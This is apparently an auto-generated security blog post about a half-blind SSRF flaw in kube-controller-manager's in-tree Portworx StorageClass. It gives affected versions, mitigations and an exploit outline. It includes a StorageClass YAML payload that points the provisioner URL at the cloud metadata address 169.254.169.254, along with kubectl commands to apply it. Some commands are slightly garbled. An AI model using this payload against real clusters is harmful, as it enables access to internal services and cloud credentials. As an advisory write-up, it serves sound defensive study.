Listen to this Post
How the mentioned vulnerability works:
The half-blind Server Side Request Forgery (SSRF) vulnerability in kube-controller-manager arises from the in-tree Portworx StorageClass implementation. Authorized users can create or modify StorageClass resources with specific parameters that control storage provisioning. The kube-controller-manager, while processing these StorageClass definitions, does not properly validate or restrict user-supplied URL endpoints. An attacker can embed malicious URLs pointing to internal services on the control plane’s host network, such as loopback (127.0.0.1) or link-local addresses. When the controller interacts with these URLs during storage operations, it inadvertently sends HTTP requests from the privileged control plane context. This allows access to unprotected internal endpoints like local Kubernetes API servers, cloud metadata services, or other sensitive APIs that are not externally exposed. The SSRF is termed half-blind because the attacker does not directly receive the HTTP responses; however, information leakage can occur through side-channels like error messages, timing attacks, or observable system behaviors. The vulnerability requires permissions to manage StorageClass resources, typically granted to cluster administrators or users with elevated privileges. The flaw exists in the Portworx driver code within kube-controller-manager, where input sanitization and network security controls are insufficient.
Platform: kube-controller-manager
Version: pre-1.32.10 1.33.x 1.34.x
Vulnerability: half-blind SSRF
Severity: Moderate
date: Dec 15 2025
Prediction: patches released Dec16
What Undercode Say:
kubectl version –short
kubectl get storageclass
cat < malicious-sc.yaml
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: test-px
provisioner: kubernetes.io/portworx-volume
parameters:
url: http://169.254.169.254/latest/meta-data/
EOF
kubectl apply -f malicious-sc.yaml
curl -s http://localhost:8080/healthz
netstat -tulpn | grep kube-controller
How Exploit:
Create StorageClass with internal URL.
Monitor for timing delays.
Infer data from error responses.
Use side-channel attacks.
Access cloud metadata services.
Target loopback services.
Protection from this CVE
Update to patched versions.
Restrict StorageClass permissions.
Implement network policies.
Use admission controllers.
Monitor anomalous activities.
Disable in-tree Portworx if unused.
Impact:
Internal information leakage.
Control plane exposure.
Potential privilege escalation.
Metadata service compromise.
Data confidentiality loss.
Further attack surface expansion.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
